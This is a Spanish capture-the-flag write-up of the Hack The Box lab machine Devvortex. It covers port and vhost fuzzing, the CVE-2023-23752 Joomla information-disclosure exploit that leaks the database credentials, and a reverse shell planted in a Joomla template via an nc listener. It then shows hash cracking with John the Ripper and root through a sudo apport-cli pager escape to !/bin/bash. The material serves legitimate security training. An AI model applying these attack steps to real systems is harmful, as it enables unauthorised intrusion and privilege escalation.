Devvortex es una máquina easy, y nos sirve para reforzar temas de fuzzing web, como tambien enumeración de gestores de contenido en este caso Joomla, mismo que después de obtener las credenciales como administrador del Joomla, vamos a ver como nos conectamos al usuario mediante una reverse shell, y luego de obtener como un usuario procedemos a la escalada de privilegios para obtener la flag final.

Box Info
...

Devvortex.png

Enum & Recon
...

nmap
...

sudo nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.11.242
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-29 06:15 CET
Initiating SYN Stealth Scan at 06:15
Scanning 10.10.11.242 [65535 ports]
Discovered open port 80/tcp on 10.10.11.242
Discovered open port 22/tcp on 10.10.11.242
sendto in send_ip_packet_sd: sendto(4, packet, 44, 0, 10.10.11.242, 16) => Operation not permitted
Offending packet: TCP 10.10.15.31:56803 > 10.10.11.242:5429 S ttl=39 id=31174 iplen=44  seq=3456924625 win=1024 <mss 1460>
Completed SYN Stealth Scan at 06:15, 24.85s elapsed (65535 total ports)
Nmap scan report for 10.10.11.242
Host is up, received user-set (0.51s latency).
Scanned at 2023-11-29 06:15:04 CET for 25s
Not shown: 37039 filtered tcp ports (no-response), 28494 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 25.01 seconds
           Raw packets sent: 119782 (5.270MB) | Rcvd: 28607 (1.144MB)

Vemos que tenemos los puesrtos 20 y 80 abiertos por lo que vamos a enviar scripts comúnes con el parámetro -sC y tratar de averiguar la versión de los servicios con el parámetro -sV.

sudo nmap -sCV -p22,80 10.10.11.242
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-29 06:17 CET
Nmap scan report for devvortex.htb (10.10.11.242)
Host is up (0.038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DevVortex
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.77 seconds

Por la versión del ssh podemos saber que estamos ante un Ubuntu Focal (20.04)

HTTP - TCP 80
...

Vamos a añadir al /etc/hosts el dominio devvortex.htb

Pasted image 20231129062147.png
Podemos observar la página montada en el puerto 80, procedemos a realizar un vhost discovery usando wfuzz.

❯ wfuzz -c --hc=302,404,400 -H "HOST: FUZZ.devvortex.htb" -z file,/usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 20  http://devvortex.htb
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://devvortex.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                         
=====================================================================
000000019:   200        501 L    1581 W     23221 Ch    "dev - dev"                                                                                     

Total time: 23.73859
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 210.1640

Hemos encontrado que tiene un subdomino dev (tambien añadimos ese subdominio al /etc/hosts), nos dirigimos a ese subdominio y procedemos hacer un fuzzing de directorios para osberva si encontramos algo que nos llame la atención.

Pasted image 20231129063857.png

❯ wfuzz -c --hc=404 --hl=501 -u http://dev.devvortex.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://dev.devvortex.htb/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                       
=====================================================================

000000016:   301        7 L      12 W       178 Ch      "images"     
000000081:   301        7 L      12 W       178 Ch      "templates"  
000000080:   301        7 L      12 W       178 Ch      "media"      
000000145:   301        7 L      12 W       178 Ch      "modules"    
000000519:   301        7 L      12 W       178 Ch      "plugins"    
000000638:   301        7 L      12 W       178 Ch      "includes"   
000000870:   301        7 L      12 W       178 Ch      "language"   
000001026:   301        7 L      12 W       178 Ch      "api"        
000001005:   301        7 L      12 W       178 Ch      "components" 
000001083:   301        7 L      12 W       178 Ch      "cache"      
000001249:   301        7 L      12 W       178 Ch      "libraries"  
000003237:   301        7 L      12 W       178 Ch      "tmp"        
000003547:   301        7 L      12 W       178 Ch      "layouts"    
000005689:   301        7 L      12 W       178 Ch      "administrator" 

Existe un directorio administrador y que además observamos que dev.devvortex.htb está en un gestor de contenidos, más especifico en Joomla

Pasted image 20231129064445.png

Pasted image 20231129064956.png

Vamos a proceder hacer una enumeración del Joomla.

Iniciando Ataque
...

Gestor de Contenido: Joomla
...

Usando joomscan, vamos a ver si podemos obtener la versión del Joomla y de ahi proceder con la búsqueda de algún exploit que nos ayude a ingresar.

sudo joomscan -u http://dev.devvortex.htb
   ____  _____  _____  __  __  ___   ___    __    _  _ 
   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  ( 
  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
			(1337.today)
   
    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://dev.devvortex.htb ...



[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 4.2.6

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page : http://dev.devvortex.htb/administrator/

[+] Checking robots.txt existing
[++] robots.txt is found
path : http://dev.devvortex.htb/robots.txt 

Interesting path found from robots.txt
http://dev.devvortex.htb/joomla/administrator/
http://dev.devvortex.htb/administrator/
http://dev.devvortex.htb/api/
http://dev.devvortex.htb/bin/
http://dev.devvortex.htb/cache/
http://dev.devvortex.htb/cli/
http://dev.devvortex.htb/components/
http://dev.devvortex.htb/includes/
http://dev.devvortex.htb/installation/
http://dev.devvortex.htb/language/
http://dev.devvortex.htb/layouts/
http://dev.devvortex.htb/libraries/
http://dev.devvortex.htb/logs/
http://dev.devvortex.htb/modules/
http://dev.devvortex.htb/plugins/
http://dev.devvortex.htb/tmp/


[+] Finding common backup files name
[++] Backup files are not found

[+] Finding common log files name
[++] error log is not found

[+] Checking sensitive config.php.x file
[++] Readable config files are not found

Podemos ver que si detectamos el gestor de contenido con anterioridad podríamos haber listado los directorios de manera más rápida, pero lo importante aquí es que hemos obtenido la versión , cual es la 4.2.6, procedemos a buscar un exploit para entrar

Obtención de credenciales de administrador
...

Si buscamos por searchsploit lo siguiente:

Pasted image 20231129070004.png

Procedemos a descargarlo:

❯ searchsploit -m php/webapps/51334.py
[i] Found (#2): /opt/exploit-database/files_exploits.csv
[i] To remove this message, please edit "/opt/exploit-database/.searchsploit_rc" which has "package_array: exploitdb" to point too: path_array+=("/opt/exploit-database")

[i] Found (#2): /opt/exploit-database/files_shellcodes.csv
[i] To remove this message, please edit "/opt/exploit-database/.searchsploit_rc" which has "package_array: exploitdb" to point too: path_array+=("/opt/exploit-database")

  Exploit: Joomla! v4.2.8 - Unauthenticated information disclosure
      URL: https://www.exploit-db.com/exploits/51334
     Path: /opt/exploit-database/exploits/php/webapps/51334.py
    Codes: CVE-2023-23752
 Verified: True
File Type: Ruby script, ASCII text
Copied to: /home/luis/Desktop/Devvortex/exploits/51334.py

Le cambiamos el nombre porque si lo leemos está programado en ruby.

mv 51334.py exploit.rb 

Pasted image 20231129070201.png

Encontramos en el código el repositorio para poder obtener más información, y saber como ejecutar el exploit, por lo que procedemos a ejecutar el script.

❯ ruby exploit.rb http://dev.devvortex.htb
Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered

Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false

Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: ************
DB name: joomla
DB prefix: sd4fg_
DB encryption 0

Tenemos credenciales de la base de datos, por ende del joomla administrador, y tambien conocemos que existe otro usuario logan, información que podemos registrar, en un txt para no perderla.

Ingresamos al administrador.

Pasted image 20231129070633.png

Pasted image 20231129070649.png

Shell as www-data
...

Estando en el gestor de contenido como adminstrador, nos dirigimos a Adminitrator Templates.

Pasted image 20231129070852.png

Nos dirigimos a este template, el único que van a ver

Pasted image 20231129071010.png

Nos ponemos en escucha por el puerto 443 y nos dirigimos a cualquier archivo .php y colocamos el one liner para obtener una reverse shell.

sudo nc -nvlp 443
listening on [any] 443 ...
  1. Escogemos cualquier archivo .php, en este caso escogí component.php
  2. Colocamos el oneliner para obtención de reverse shell.
  3. Guardamos.
  4. Y nos dirigimos a donde está la ubicación del archivo como nos indica ahí.

Pasted image 20231129071534.png

Obtenmos nuestra shell as ww-data

Pasted image 20231129071759.png

Pasted image 20231129071817.png

Hacemos un tratamiento de la tty, y procedemos con la escalada de privilegios.

Shell as logan
...

Recordamos que tenemos las credenciales de la base de datos por lo que podemos revisar si encontramos credenciales guardadas.

www-data@devvortex:/home$ mysql -u lewis -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 46214
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

Ahora listamos las bases de datos.

Pasted image 20231129072219.png

Usaremos la base de datos joomla y listamos las tablas.

Pasted image 20231129072701.png
Dentro de todas las tablas que aparecen vamos a usar sd4fg_users y vamos a ver el contenido de la misma.

Pasted image 20231129072519.png

Ahora usando john the ripper vamos a desemcriptar el hash del password de logan.

Pasted image 20231129072943.png

Tenemos contraseña ahora nos conectamos vía ssh

ssh logan@10.10.11.242

Pasted image 20231129073152.png

Escalada de privilegios - Shell as Root
...

Vamos a observar que comandos podemos ejecutar como sudo.

logan@devvortex:~$ sudo -l
[sudo] password for logan: 
Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

Vemos que tenemos ese binario que podemos explotar para escalar de privilegios vamos a buscar el exploit y vemos que nos indican que mediante less cuando entramos a pager

Pasted image 20231129080018.png

Por lo que vamos a probocar entrar en modo paginador de la siguiente manera:

Pasted image 20231129075945.png

Precionamos V y esperamos entrar en modo pager.

Pasted image 20231129080159.png

Cuando estemos en modo paginador, vamos a poner !/bin/bash y luego presionamos enter:

Pasted image 20231129080349.png
Pasted image 20231129080406.png